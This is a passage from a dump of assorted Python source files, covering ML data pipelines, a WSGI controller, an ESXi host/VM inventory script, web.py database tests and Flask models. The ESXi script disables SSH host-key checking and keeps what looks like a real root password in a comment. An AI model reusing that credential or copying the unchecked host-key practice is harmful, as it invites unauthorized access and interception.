datadir = self.input_dir,\n dataset = self.dataset,\n res = self.res)\n\n if self.res == 'v':\n infix = 'Low'\n else:\n infix = 'High'\n coordinates = (int(row['annotation{}Resolution{}'.format(infix, i)]) for i in [1, 2, 3])\n # load the desired patch\n image = get_patch(image_full, coordinates, size=(40, 40, 40))\n\n # append image and labels\n images.append(image)\n\n if self.dataset == 'train':\n label = row['histology']\n # one hot enconding labels\n if label == '2':\n labels.append((1, 0, 0))\n elif label == '20':\n labels.append((0, 1, 0))\n elif label == '21':\n labels.append((0, 0, 1))\n\n except Exception as e:\n print('Failed reading idx {idx}...'.format(idx=i))\n print(e)\n\n # Assemble batch\n batch_x = np.stack(images).astype(K.floatx())\n if self.dataset == 'train':\n batch_y = np.stack(labels).astype(K.floatx())\n else:\n batch_y = None\n\n return batch_x, batch_y\n","sub_path":"generators.py","file_name":"generators.py","file_ext":"py","file_size_in_byte":5621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"46487626","text":"# coding: utf-8\n\nfrom lib.setup import Setup\n\nfrom lib.tools.tools_data import Tools_data\nfrom lib.tools.tools_file import Tools_file\nfrom lib.tools.s_logger import S_logger\nimport config as CONF\n\nclass Controller:\n \n def get_json(self, path):\n t_d = Tools_data()\n \n if('/get_redis/' in path):\n key = path.split('/')[3]\n \n rc = t_d.redis_con()\n return rc.get(key)\n\n def get_index(self):\n t_f = Tools_file()\n SCRcodes = t_f.get_codes()\n switch_html, include_html, add_script, add_view = t_f.get_codes_html(SCRcodes=SCRcodes)\n with open('wsgi/index.html') as f:\n index_html = f.read()\n text_list = [t.encode(\"utf-8\") for t in index_html.split('\\n')]\n html = []\n for tli in range(len(text_list)):\n low_text = text_list[tli].decode('utf-8')\n if(\"@code_html_switch\" in low_text):\n html = html + switch_html.split('\\n')\n elif(\"@code_html_include\" in low_text):\n html = html + include_html.split('\\n')\n elif(\"@code_js_add\" in low_text):\n html = html + add_script.split('\\n')\n elif(\"@code_view_add\" in low_text):\n html = html + add_view.split('\\n')\n else:\n html.append(text_list[tli])\n n = bytes('\\n', encoding='utf-8')\n return [ bytes(t, encoding='utf-8') + n if type(t) == str else t + n for t in html ]\n\n\n def websocket_chaser(self, SCRfield, GUIenv, GUIraw):\n t_d = Tools_data()\n send_json = {}\n\n if(not GUIraw['field']):\n send_json[\"field\"] = SCRfield\n GUIraw['field'] = True\n\n SCRschedule = t_d.get_data(\n SCRfield=SCRfield, SCRenv=GUIenv, ty='sc')\n if(GUIraw['schedule'] != str(SCRschedule)):\n GUIraw['schedule'] = str(SCRschedule)\n send_json['schedule'] = SCRschedule\n\n SCRenv = t_d.get_data(\n SCRfield=SCRfield, SCRenv=GUIenv, ty='en')\n if(GUIraw['env'] != str(SCRenv)):\n GUIraw['env'] = str(SCRenv)\n send_json['env'] = SCRenv\n\n SCRcodes = t_d.get_data(\n SCRfield=SCRfield, SCRenv=GUIenv, ty='co')\n if(GUIraw['codes'] != str(SCRcodes)):\n GUIraw['codes'] = str(SCRcodes)\n send_json['codes'] = SCRcodes\n \n return send_json, GUIraw","sub_path":"lib/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"598981336","text":"from Transformer import text_helper\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.framework import ops\nfrom nltk.corpus import stopwords\nfrom tqdm import tqdm\nimport pickle\nimport os\nops.reset_default_graph()\n\nsess = tf.Session()\ncreate_tfrecord = True\ndata_folder_name = '..\\\\temp'\ndata_path_name = 'cn_nlp\\\\translate'\nvocab_name_cn = 'translate_cn_50.pkl'\nvocab_name_en = 'translate_en_50.pkl'\ntrain_record_name = 'translate_cn_en_train_50.tfrecord'\ntest_record_name = 'translate_cn_en_test_50.tfrecord'\n\nvocab_path_cn = os.path.join(data_folder_name, data_path_name, vocab_name_cn)\nvocab_path_en = os.path.join(data_folder_name, data_path_name, vocab_name_en)\n\nif create_tfrecord:\n # load movie review data\n en_data, en_len, cn_data, cn_len = text_helper.load_data()\n test_en_data, test_en_len, test_cn_data, test_cn_len = text_helper.load_test_data()\n\n if os.path.isfile(vocab_path_cn):\n with open(vocab_path_cn, 'rb') as f:\n word_dict_cn = pickle.load(f)\n else:\n print('creating dictionary')\n word_dict_cn = text_helper.build_dictionary(cn_data, 'cn')\n with open(vocab_path_cn, 'wb') as f:\n pickle.dump(word_dict_cn, f)\n\n if os.path.isfile(vocab_path_en):\n with open(vocab_path_en, 'rb') as f:\n word_dict_en = pickle.load(f)\n else:\n print('creating dictionary')\n word_dict_en = text_helper.build_dictionary(en_data, 'en')\n with open(vocab_path_en, 'wb') as f:\n pickle.dump(word_dict_en, f)\n\n vocabulary_size_cn = len(word_dict_cn)\n vocabulary_size_en = len(word_dict_en)\n en_max_len = max(en_len)\n cn_max_len = max(cn_len)\n print(vocabulary_size_cn, vocabulary_size_en)\n print(cn_max_len, en_max_len)\n # exit()\n cn_data_num = text_helper.text_to_numbers(cn_data, word_dict_cn, cn_len, 'cn')\n test_cn_data_num = text_helper.text_to_numbers(test_cn_data, word_dict_cn, test_cn_len, 'cn')\n en_data_num = text_helper.text_to_numbers(en_data, word_dict_en, en_len)\n test_en_data_num = text_helper.text_to_numbers(test_en_data, word_dict_en, test_en_len)\nelse:\n with open(vocab_path_en, 'rb') as f:\n word_dict_en = pickle.load(f)\n with open(vocab_path_cn, 'rb') as f:\n word_dict_cn = pickle.load(f)\n vocabulary_size_cn = len(word_dict_cn)\n vocabulary_size_en = len(word_dict_en)\n\n\ndef write_binary(record_name, texts_, target_, text_lens_, target_lens_):\n record_path = os.path.join(data_folder_name, data_path_name, record_name)\n writer = tf.python_io.TFRecordWriter(record_path)\n for it, text in tqdm(enumerate(texts_)):\n example = tf.train.Example(\n features=tf.train.Features(\n feature={\n \"text\": tf.train.Feature(int64_list=tf.train.Int64List(value=text+[word_dict_cn['_EOS']])),\n \"label\": tf.train.Feature(int64_list=tf.train.Int64List(value=target_[it]+[word_dict_en['_EOS']])),\n \"text_length\": tf.train.Feature(int64_list=tf.train.Int64List(value=[text_lens_[it]+1])),\n \"label_length\": tf.train.Feature(int64_list=tf.train.Int64List(value=[target_lens_[it]+1]))\n }\n )\n )\n serialized = example.SerializeToString()\n writer.write(serialized)\n writer.close()\n\n\ndef __parse_function(serial_exmp):\n features = tf.parse_single_example(serial_exmp, features={\"text\": tf.VarLenFeature(tf.int64),\n \"label\": tf.VarLenFeature(tf.int64),\n \"text_length\": tf.FixedLenFeature([], tf.int64),\n \"label_length\": tf.FixedLenFeature([], tf.int64)})\n # text = tf.sparse_tensor_to_dense(features[\"text\"], default_value=\" \")\n text_ = tf.sparse_tensor_to_dense(features[\"text\"])\n label_ = tf.sparse_tensor_to_dense(features[\"label\"])\n text_lens_ = tf.cast(features[\"text_length\"], tf.int32)\n label_lens_ = tf.cast(features[\"label_length\"], tf.int32)\n return text_, label_, text_lens_, label_lens_\n\n\nif create_tfrecord:\n print(\"creating tfrecord\")\n write_binary(train_record_name, cn_data_num, en_data_num, cn_len, en_len)\n write_binary(test_record_name, test_cn_data_num, test_en_data_num, test_cn_len, test_en_len)\n # write_binary(train_record_name, en_data_num, cn_data_num, en_len, cn_len)\n # write_binary(test_record_name, test_en_data_num, test_cn_data_num, test_en_len, test_cn_len)\n# exit()\nrecord_path = os.path.join(data_folder_name, data_path_name, train_record_name)\ndataset = tf.data.TFRecordDataset(record_path)\ndataset = dataset.map(__parse_function)\ndata_train = dataset.shuffle(1000).repeat(10).padded_batch(1, padded_shapes=([None], [None], [], []))\niter_train = data_train.make_one_shot_iterator()\ntext_data, label_data,_,_ = iter_train.get_next()\nwith tf.Session() as sess:\n for i in range(10):\n print(sess.run([text_data, label_data]))\n print(sess.run(tf.shape(text_data)))\n # print(sess.run(iterator))\n# print('')\n\n\nhandle = tf.placeholder(tf.string, shape=[])\niterator = tf.data.Iterator.from_string_handle(handle, data_train.output_types, data_train.output_shapes)\nx, y_, x_l_, y_l_ = iterator.get_next()\n\n# table_name = 'text_table.txt'\n# with open(table_name, 'w') as f:\n# for word in word_dict.values():\n# f.write(str(word)+'\\n')\n# text_lookup_table = tf.contrib.lookup.index_table_from_file(vocabulary_file=table_name,\n# num_oov_buckets=1)\n# embed = tf.nn.embedding_lookup(embeddings, x)\n# ids = text_lookup_table.lookup()\n# sess.run(tf.tables_initializer())\nhandle_train = sess.run(iter_train.string_handle())\n# print(handle_train)\n# print(sess.run(ids, feed_dict={handle: handle_train}))\nfor i in range(1000):\n a, b, c, d = sess.run([x, y_, x_l_, y_l_], feed_dict={handle: handle_train})\n # print(a, b, c, d)\n if len(b[0]) != d[0] or len(a[0]) != c[0]:\n print(text_helper.numbers_to_text(b, word_dict_en), d[0])\n print(text_helper.numbers_to_text(a, word_dict_cn), c[0])\n\n# print(sess.run(x_split, feed_dict={handle: handle_train}))\n\n","sub_path":"Transformer/texts2tfrecord.py","file_name":"texts2tfrecord.py","file_ext":"py","file_size_in_byte":6250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"210304535","text":"# -*- coding: utf-8 -*-\nimport paramiko, re, os\nfrom openpyxl import Workbook\n\nclass ssh_connect():\n def __init__(self,host,username,password):\n self.name = username\n self.host = host\n self.pwd = password\n self.ssh = paramiko.SSHClient()\n # 加上这句话不用担心选yes的问题，会自动选上\n # （用ssh连接远程主机时，第一次连接时会提示是否继续进行远程连接，选择yes）\n self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n self.ssh.connect(self.host, 22, self.name, self.pwd, timeout=10) # 连接远程主机，SSH端口号为22\n # execute command\n def ssh_command(self, cmd):\n stdin, stdout, stderr = self.ssh.exec_command(cmd)\n return stdout.readlines()\n\n # write to result file\n def write_to_file(self, file, *info_list):\n with open(file, 'w') as f:\n f.writelines(str(line) + \"\\n\" for line in info_list)\n\n def line_prepender(self, filename, line):\n with open(filename, 'r+') as f:\n content = f.read()\n f.seek(0, 0)\n f.write(line.rstrip('\\r\\n') + '\\n' + content)\n\n # get cmd result\n # k for every item, v for the relevant command\n def get_cmd_result(self, cmd_dict):\n result_cmd_dict = {}\n for k, v in cmd_dict.items():\n output = self.ssh_command(v)\n # print output\n if len(output) < 2:\n # remove replace('\\n', '') when the number of vm machine is less than 2 to ensure that output is a list\n if k == \"cmd3\":\n result_cmd_dict[k] = output\n else:\n result_cmd_dict[k] = output[0].replace('\\n', '')\n else:\n result_cmd_dict[k] = output\n return result_cmd_dict\n\n def get_host_info(self):\n host_info_list = []\n # k for every item, v for the relevant command\n # cmd3 indicate the vm machine name\n cmds = {\n \"cmd1\" : \"hostname |awk -F '[.]' '{print $1}'\",\n \"cmd2\" : \"esxcli hardware cpu list |grep CPU: |wc -l\",\n \"cmd3\": \"vim-cmd vmsvc/getallvms |awk 'NR>1{print $1,$2}' |sort -nr\",\n \"cmd4\" : \"esxcli hardware memory get |awk 'NR==1{printf \\\"%d\\\\n\\\",$(NF-1)/1024/1024/1024+1}'\",\n \"cmd5\": \"df |awk 'NR>1{sum+=$2}END{printf \\\"%0.2f\\\",sum/1024/1024/1024/1024}'\",\n \"cmd6\" : \"esxcfg-info |grep 'Serial Number' |awk -F '[.]' '$1~/Serial/{print $NF}'\",\n \"cmd7\": \"esxcli hardware platform get |grep 'Product Name'|awk -F '[:]' '{print gensub(/ /,\\\"\\\",g,$NF)}'\",\n \"cmd8\": \"esxcli system version get |grep Version |awk '{print $NF}'\"\n }\n result_dict = self.get_cmd_result(cmds)\n host_info = '{0} {1} {2} {3} {4} {5} {6} {7}'.format(result_dict['cmd1'], self.host,\n result_dict['cmd2'], result_dict['cmd4'], result_dict['cmd5'],\n result_dict['cmd6'], result_dict['cmd7'], result_dict['cmd8'])\n host_info_list.append(host_info)\n return host_info_list\n\n # get host info\n def get_vm_info(self):\n # k for every item, v for the relevant command\n # cmd3 indicate the vm machine name\n cmds = {\n \"cmd1\" : \"hostname |awk -F '[.]' '{print $1}'\",\n \"cmd3\" : \"vim-cmd vmsvc/getallvms |awk 'NR>1 && NF>1 && $1~/[0-9]{1,3}/{print $1,$2}' |sort -nr\",\n }\n result_dict = self.get_cmd_result(cmds)\n print (result_dict)\n host_info_list = []\n # get vm info\n for i in result_dict['cmd3']:\n vm_vmid = i.replace('\\n', '').split(' ')[0]\n vm_hostname = i.replace('\\n', '').split(' ')[1]\n cmd_get_vm_info = \"vim-cmd vmsvc/get.guest {0}\" .format(vm_vmid)\n cmd_power_status = \"vim-cmd vmsvc/get.summary {0} |grep powerState |awk -F '\\\"' '{{print $(NF-1)}}'\" .format(vm_vmid)\n cmd_tool_status = \"vim-cmd vmsvc/get.guest {0} |grep toolsStatus |awk -F '\\\"' '{{print $(NF-1)}}'\" .format(vm_vmid)\n cmd_guest_status = \"vim-cmd vmsvc/get.guest {0} |grep guestState |awk -F '\\\"' '{{print $(NF-1)}}'\" .format(vm_vmid)\n # cmd of cpu_count,mem,disk size\n result_dict_vm = {}\n cmds_vm = {\n \"cpu\" : \"vim-cmd vmsvc/get.summary {0} |grep numCpu |awk '{{split($NF,a,\\\",\\\");print a[1]}}'\" .format(vm_vmid),\n \"mem\" : \"vim-cmd vmsvc/get.summary {0} |grep memorySizeMB |awk '{{split($NF,a,\\\",\\\");printf\\\"%d\\\",a[1]/1024}}'\" .format(vm_vmid),\n \"disk\" : \"vim-cmd vmsvc/device.getdevices {0} |grep capacityInKB |awk -F '[, ]' '{{sum+=$(NF-2)}}END{{printf\\\"%d\\\",sum/1024/1024}}'\" .format(vm_vmid)\n }\n vm_detailed_info = self.ssh_command(cmd_get_vm_info)\n vm_power_status = self.ssh_command(cmd_power_status)[0].replace('\\n', '')\n vm_tool_status = self.ssh_command(cmd_tool_status)[0].replace('\\n', '')\n vm_guest_status = self.ssh_command(cmd_guest_status)[0].replace('\\n', '')\n print (vm_vmid, vm_guest_status)\n print (self.ssh_command(cmd_guest_status))\n\n result_dict_vm = self.get_cmd_result(cmds_vm)\n #print vm_detailed_info\n ip_list = []\n if vm_power_status == 'poweredOn' and vm_guest_status == 'running':\n for i, line in enumerate(vm_detailed_info):\n if 'hostName' in line and 'ipAddress' in vm_detailed_info[i+1]:\n # lan_ip = vm_detailed_info[i+1].split('\"')[-2]\n lan_ip = re.split('[\"<>]', vm_detailed_info[i+1])[-2]\n if 'ipAddress' in line and re.search(r'[0-9]{1,3}\\.', line) and 'prefixLength' in vm_detailed_info[i+1]:\n if lan_ip not in line:\n other_ip = line.split('\"')[-2]\n ip_list.append(other_ip)\n all_other_ip = \",\" .join(ip_list)\n if not re.search(r'[0-9]{1,3}\\.', all_other_ip):\n all_other_ip = 'unset'\n host_info = '{0} {1} {2} {3} {4} {5} {6} {7} {8} {9}'.format(result_dict['cmd1'], self.host,\n vm_vmid, vm_hostname, vm_power_status, lan_ip, result_dict_vm['cpu'],\n result_dict_vm['mem'], result_dict_vm['disk'], all_other_ip)\n else:\n lan_ip = 'unset'\n all_other_ip = 'unset'\n host_info = '{0} {1} {2} {3} {4} {5} {6} {7} {8} {9}'.format(result_dict['cmd1'], self.host,\n vm_vmid, vm_hostname, vm_power_status, lan_ip, result_dict_vm['cpu'],\n result_dict_vm['mem'], result_dict_vm['disk'], all_other_ip)\n host_info_list.append(host_info)\n # write the vm device info to file named vm_info.txt\n first_line = '宿主机名称 宿主机IP 虚拟机vmid 主机名 电源状态 内网IP CPU核数 内存(G) 硬盘(G) 其他IP'\n self.write_to_file('vm_info.txt', *host_info_list)\n self.line_prepender('vm_info.txt', first_line)\n #print host_info_list\n return host_info_list\n\nclass Main(object):\n def __init__(self, ip_list_file, username, password):\n self.username = username\n self.password = password\n self.ip_list_file = ip_list_file\n # force the number in host_device_info to int or float\n def convert_list_format(self, info_list):\n info_new = []\n for x in info_list:\n if re.search(r'(^[0-9]{1,5}$)', x):\n x = int(x)\n elif re.search(r'(^[0-9]{1,2}\\.[0-9]{2}$)', x):\n x = float(x)\n else:\n x = x\n info_new.append(x)\n return info_new\n # put all host and vm info to list named all_info_list\n def all_host_and_vm_info(self):\n # username = 'root'\n # password = 'atgnet!@#'\n # ip_list_file = 'ip.txt'\n with open(ip_list_file) as f:\n hosts_info_list = []\n vms_info_list = []\n all_info_list = []\n for host in f:\n # try:\n host = host.strip()\n ssh = ssh_connect(host, username, password)\n vm_info_list = ssh.get_vm_info()\n host_info_list = ssh.get_host_info()\n hosts_info_list.append(host_info_list)\n vms_info_list.append(vm_info_list)\n # except Exception as msg:\n # print ('{0} bad msg, cannot connect to {1}' .format(msg, host))\n print (hosts_info_list)\n print (vms_info_list)\n all_info_list.append(hosts_info_list)\n all_info_list.append(vms_info_list)\n return all_info_list\n\n def print_host_lists_excel(self):\n all_info_list = self.all_host_and_vm_info()\n # write the info to excel\n wb = Workbook(write_only=True)\n ws = []\n host_tag_lists = ['宿主机', '虚拟机']\n # create sheet\n for i in range(len(host_tag_lists)):\n ws.append(wb.create_sheet(title=host_tag_lists[i])) # utf8->unicode\n # insert sheet header\n ws[0].append(['序号', '主机名', 'IP', 'CPU核数', '内存(G)', '硬盘(T)', '序列号', '型号', 'ESXI版本号'])\n ws[1].append(['序号', '宿主机名称', '宿主机IP', '虚拟机vmid', '主机名', '电源状态', '内网IP', 'CPU核数', '内存(G)', '硬盘(G)', '其他IP'])\n # insert host and vm info\n for i in range(len(host_tag_lists)):\n count = 1\n for info_list in all_info_list[i]:\n # traverse the hosts_info_list and vms_info_list\n for info in info_list:\n print ('info: {0}' .format(info))\n info = info.split(' ')\n info_new = self.convert_list_format(info)\n info_new.insert(0, count)\n print ('info_list_with_seq_num: {0}' .format(info_new))\n ws[i].append(info_new)\n # ws[0].append([count, info[0], info[1], int(info[2]), int(info[3]), float(info[4]), info[5], info[6], info[7]])\n count += 1\n # define the filename and save it to local disk\n save_path = 'host_list'\n for i in range(len(host_tag_lists)):\n save_path += ('-' + host_tag_lists[i])\n save_path += '.xlsx'\n wb.save(save_path)\n\n\nif __name__ == '__main__':\n username = 'root'\n password = 'xxxxxxx'\n ip_list_file = 'ip.txt'\n main = Main(ip_list_file, username, password)\n #main.all_host_and_vm_info()\n main.print_host_lists_excel()\n","sub_path":"get_esxi_host_and_vm_info/get_esxi_host_and_vm_info_python3.py","file_name":"get_esxi_host_and_vm_info_python3.py","file_ext":"py","file_size_in_byte":10797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"566055502","text":"\"\"\"Tests for the spc component.\"\"\"\n\nfrom unittest.mock import AsyncMock, MagicMock, patch\n\nfrom pyspcwebgw import SpcWebGateway\n\nfrom homeassistant.components.spc import _async_update_callback\nfrom homeassistant.components.spc.const import (\n CONF_API_URL,\n CONF_WS_URL,\n DATA_API,\n DOMAIN,\n)\nfrom homeassistant.helpers.aiohttp_client import async_create_clientsession\n\nfrom tests.common import MockConfigEntry\n\nAPI_URL = \"http://example.org\"\nWS_URL = \"ws://example.org/ws/api\"\n\nCONF_DATA = {CONF_API_URL: API_URL, CONF_WS_URL: WS_URL}\n\nCONF_CONFIG_FLOW = {CONF_API_URL: API_URL, CONF_WS_URL: WS_URL}\n\nINVALID_CONFIG_ENTRY = MagicMock(data={CONF_API_URL: API_URL})\n\n\nasync def _create_mocked_spc(raise_exception=False):\n mocked_spc = AsyncMock()\n mocked_spc.get_state = AsyncMock()\n\n return mocked_spc\n\n\ndef _patch_config_flow_spc(mocked_spc):\n return patch(\n \"homeassistant.components.spc.config_flow.SpcWebGateway\",\n return_value=mocked_spc,\n )\n\n\nasync def setup_platform(hass, platform):\n \"\"\"Set up the SPC platform and prerequisites.\"\"\"\n hass.config.components.add(DOMAIN)\n entry = MockConfigEntry(\n domain=DOMAIN,\n data=CONF_CONFIG_FLOW,\n unique_id=API_URL,\n )\n\n hass.data[DATA_API] = SpcWebGateway(\n loop=hass.loop,\n session=async_create_clientsession(hass),\n api_url=API_URL,\n ws_url=WS_URL,\n async_callback=lambda spc_object: _async_update_callback(hass, spc_object),\n )\n\n await hass.config_entries.async_forward_entry_setup(entry, platform)\n await hass.async_block_till_done()\n return entry\n","sub_path":"tests/components/spc/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"359485949","text":"import matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\n\ndef plot_3dgraph(chip_locations, routes):\n \"\"\" Creates an interactive 3d graph of the gates and wires \"\"\"\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n \n # Add the chips as points\n x = []\n y = []\n\n for i in chip_locations:\n x.append(chip_locations[i][1])\n y.append(chip_locations[i][2])\n\n # Add the z coordinates for the gates, which are always zero\n z = [0 for i in x]\n plt.yticks(np.arange(min(y), max(y) + 1, 1.0))\n plt.xticks(np.arange(min(x), max(x) + 1, 1.0))\n \n ax.set_zticks([0, 1, 2, 3, 4, 5, 6, 7])\n ax.scatter(x,y,z,s=75, c='r', marker='s')\n \n # Add the routes as wires\n for x in routes:\n wires_x = []\n wires_y = []\n wires_z = []\n for y in routes[x]:\n wires_x.append(y[1])\n wires_y.append(y[2])\n wires_z.append(y[0])\n\n ax.plot(wires_x, wires_y, wires_z)\n \n \n\n\n plt.show()","sub_path":"codefiles/functions/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"504988066","text":"from typing import Dict, List, Any, Iterable\nfrom collections import defaultdict\nfrom overrides import overrides\n\nfrom allennlp.data import Instance\nfrom allennlp.data.dataset import Batch\nfrom allennlp.data.iterators import DataIterator\nfrom ..minglers import DatasetMingler\n\n\n\n\n@DataIterator.register(\"homogeneous-batch\")\nclass HomogeneousBatchIterator(DataIterator):\n \"\"\"\n An iterator that takes instances of various types\n and yields single-type batches of them. There's a flag\n to allow mixed-type batches, but at that point you might\n as well just use ``BasicIterator``?\n \"\"\"\n def __init__(self,\n type_field_name: str = \"dataset\",\n allow_mixed_batches: bool = False,\n batch_size: int = 32) -> None:\n super().__init__(batch_size)\n self.type_field_name = type_field_name\n self.allow_mixed_batches = allow_mixed_batches\n\n @overrides\n def _create_batches(self, instances: Iterable[Instance], shuffle: bool) -> Iterable[Batch]:\n \"\"\"\n This method should return one epoch worth of batches.\n \"\"\"\n hoppers: Dict[Any, List[Instance]] = defaultdict(list)\n\n for instance in instances:\n # Which hopper do we put this instance in?\n if self.allow_mixed_batches:\n instance_type = \"\"\n else:\n instance_type = instance.fields[self.type_field_name].metadata # type: ignore\n\n hoppers[instance_type].append(instance)\n\n # If the hopper is full, yield up the batch and clear it.\n if len(hoppers[instance_type]) >= self._batch_size:\n yield Batch(hoppers[instance_type])\n hoppers[instance_type].clear()\n\n # Deal with leftovers\n for remaining in hoppers.values():\n if remaining:\n yield Batch(remaining)\n","sub_path":"neuclir/data/iterators/homogeneous.py","file_name":"homogeneous.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"7929793","text":"from django.db import models\n\nfrom common.models import AbstractDict\nfrom user.models import User\nfrom work.models import AbstractWork\n\n\nclass AbstractInteract(models.Model):\n \"\"\"\n 抽象用户交互类\n 用户验证码，用户点赞，用户评论\n \"\"\"\n user = models.ForeignKey(\n User,\n verbose_name='关联用户',\n )\n create_time = models.DateTimeField(\n verbose_name='创建时间',\n auto_created=True,\n auto_now=True,\n )\n\n class Meta:\n abstract = True\n\n\nclass AbstractComment(AbstractInteract):\n \"\"\"\n 抽象评论类\n \"\"\"\n L = {\n 'text': 255,\n }\n\n text = models.CharField(\n verbose_name='评论正文',\n max_length=L['text'],\n )\n\n class Meta:\n abstract = True\n\n\nclass Comment(AbstractComment):\n \"\"\"\n 一级评论\n \"\"\"\n work = models.ForeignKey(\n AbstractWork,\n verbose_name='关联作品',\n )\n\n\nclass SubComment(AbstractComment):\n \"\"\"\n 二级评论\n \"\"\"\n comment = models.ForeignKey(\n Comment,\n verbose_name='关联评论',\n )\n\n\nclass LikeWork(AbstractInteract):\n \"\"\"\n 喜爱的作品\n \"\"\"\n work = models.ForeignKey(\n AbstractWork,\n verbose_name='关联作品',\n )\n\n\nclass LikeComment(AbstractInteract):\n \"\"\"\n 喜爱的一级评论\n \"\"\"\n comment = models.ForeignKey(\n Comment,\n )\n\n\nclass Captcha(AbstractDict, AbstractInteract):\n \"\"\"\n 用户验证码\n \"\"\"\n last_time = models.IntegerField(\n verbose_name='持续有效时间',\n help_text='以秒为单位',\n )\n","sub_path":"interact/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"439407092","text":"\"\"\"DB test\"\"\"\nimport webtest\nimport web\n\nclass DBTest(webtest.TestCase):\n dbname = 'postgres'\n \n def setUp(self):\n self.db = webtest.setup_database(self.dbname)\n self.db.query(\"CREATE TABLE person (name text, email text)\")\n\n def tearDown(self):\n # there might be some error with the current connection, delete from a new connection\n self.db = webtest.setup_database(self.dbname)\n self.db.query('DROP TABLE person')\n \n def testUnicode(self):\n \"\"\"Bug#177265: unicode queries throw errors\"\"\"\n self.db.select('person', where='name=$name', vars={'name': u'\\xf4'})\n \n def assertRows(self, n):\n result = self.db.select('person')\n self.assertEquals(len(list(result)), n)\n \n def testCommit(self):\n t = self.db.transaction()\n self.db.insert('person', False, name='user1')\n t.commit()\n\n t = self.db.transaction()\n self.db.insert('person', False, name='user2')\n self.db.insert('person', False, name='user3')\n t.commit()\n \n self.assertRows(3)\n \n def testRollback(self):\n t = self.db.transaction()\n self.db.insert('person', False, name='user1')\n self.db.insert('person', False, name='user2')\n self.db.insert('person', False, name='user3')\n t.rollback() \n self.assertRows(0)\n \n def testWrongQuery(self):\n # It should be possible to run a correct query after getting an error from a wrong query.\n try:\n self.db.select('notthere')\n except:\n pass\n self.db.select('person')\n \n def testNestedTransactions(self):\n t1 = self.db.transaction()\n self.db.insert('person', False, name='user1')\n self.assertRows(1) \n \n t2 = self.db.transaction()\n self.db.insert('person', False, name='user2')\n self.assertRows(2) \n t2.rollback()\n self.assertRows(1) \n t3 = self.db.transaction()\n self.db.insert('person', False, name='user3')\n self.assertRows(2) \n t3.commit()\n t1.commit()\n self.assertRows(2)\n\nclass SqliteTest(DBTest):\n dbname = \"sqlite\"\n \n def testNestedTransactions(self):\n #nested transactions does not work with sqlite\n pass\n \nclass MySQLTest(DBTest):\n dbname = \"mysql\"\n \n def setUp(self):\n self.db = webtest.setup_database(self.dbname)\n # In mysql, transactions are supported only with INNODB engine.\n self.db.query(\"CREATE TABLE person (name text, email text) ENGINE=INNODB\")\n\nif __name__ == '__main__':\n webtest.main()\n","sub_path":"vendor/webpy.dev/test/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"387461940","text":"from app_01.ext import db\r\nfrom app_01.utils import enc_pwd\r\n\r\n\r\nclass User(db.Model):\r\n id = db.Column(\r\n db.Integer,\r\n primary_key=True,\r\n autoincrement=True,\r\n )\r\n\r\n name = db.Column(\r\n db.String(30),\r\n nullable=True,\r\n )\r\n\r\n email = db.Column(\r\n db.String(30),\r\n unique=True,\r\n index=True,\r\n )\r\n\r\n pwd = db.Column(\r\n db.String(255),\r\n nullable=False,\r\n )\r\n\r\n is_active = db.Column(\r\n db.Boolean,\r\n nullable=True,\r\n )\r\n\r\n is_delete = db.Column(\r\n db.Boolean,\r\n nullable=True,\r\n )\r\n\r\n @classmethod\r\n def creat_user(cls,email,pwd,name=None):\r\n #判断email是否已经存在\r\n users = User.query.filter(User.email == email)\r\n if users.count() > 0:\r\n # raise Exception('该email已被占用')\r\n return None\r\n #密码加密存储\r\n user_pwd = enc_pwd(pwd)\r\n\r\n #创建用户\r\n\r\n name = name if name else email\r\n\r\n user = cls(\r\n name = name,\r\n email = email,\r\n pwd = user_pwd,\r\n )\r\n\r\n db.session.add(user)\r\n db.session.commit()\r\n\r\n return user\r\n\r\n def set_pwd(self,pwd):\r\n '''\r\n 用于修改密码\r\n :param pwd:\r\n :return:\r\n '''\r\n if pwd or len(pwd) > 0:\r\n raise Exception('密码不能为空')\r\n self.pwd = enc_pwd(pwd)\r\n\r\n db.session.add(self)\r\n db.session.commit()\r\n return True\r\n\r\n def check_pwd(self,pwd):\r\n u_pwd = enc_pwd(pwd)\r\n if u_pwd == self.pwd:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n\r\n\r\n\r\nclass Goods(db.Model):\r\n __tablename__ = \"axf_goods\"\r\n\r\n id = db.Column(\r\n db.Integer,\r\n primary_key=True,\r\n autoincrement=True,\r\n )\r\n\r\n productid = db.Column(\r\n db.String(20)\r\n )\r\n productimg = db.Column(\r\n db.String(255)\r\n )\r\n productname = db.Column(\r\n db.String(130),\r\n nullable=True\r\n )\r\n productlongname = db.Column(\r\n db.String(190)\r\n )\r\n isxf = db.Column(\r\n db.Boolean,\r\n default=False\r\n )\r\n pmdesc = db.Column(\r\n db.Integer,\r\n )\r\n specifics = db.Column(\r\n db.String(40)\r\n )\r\n price = db.Column(\r\n db.Numeric(precision=10,scale=2)\r\n )\r\n marketprice = db.Column(\r\n db.Numeric(precision=10, scale=2)\r\n )\r\n categoryid = db.Column(\r\n db.Integer\r\n )\r\n childcid = db.Column(\r\n db.Integer\r\n )\r\n childcidname = 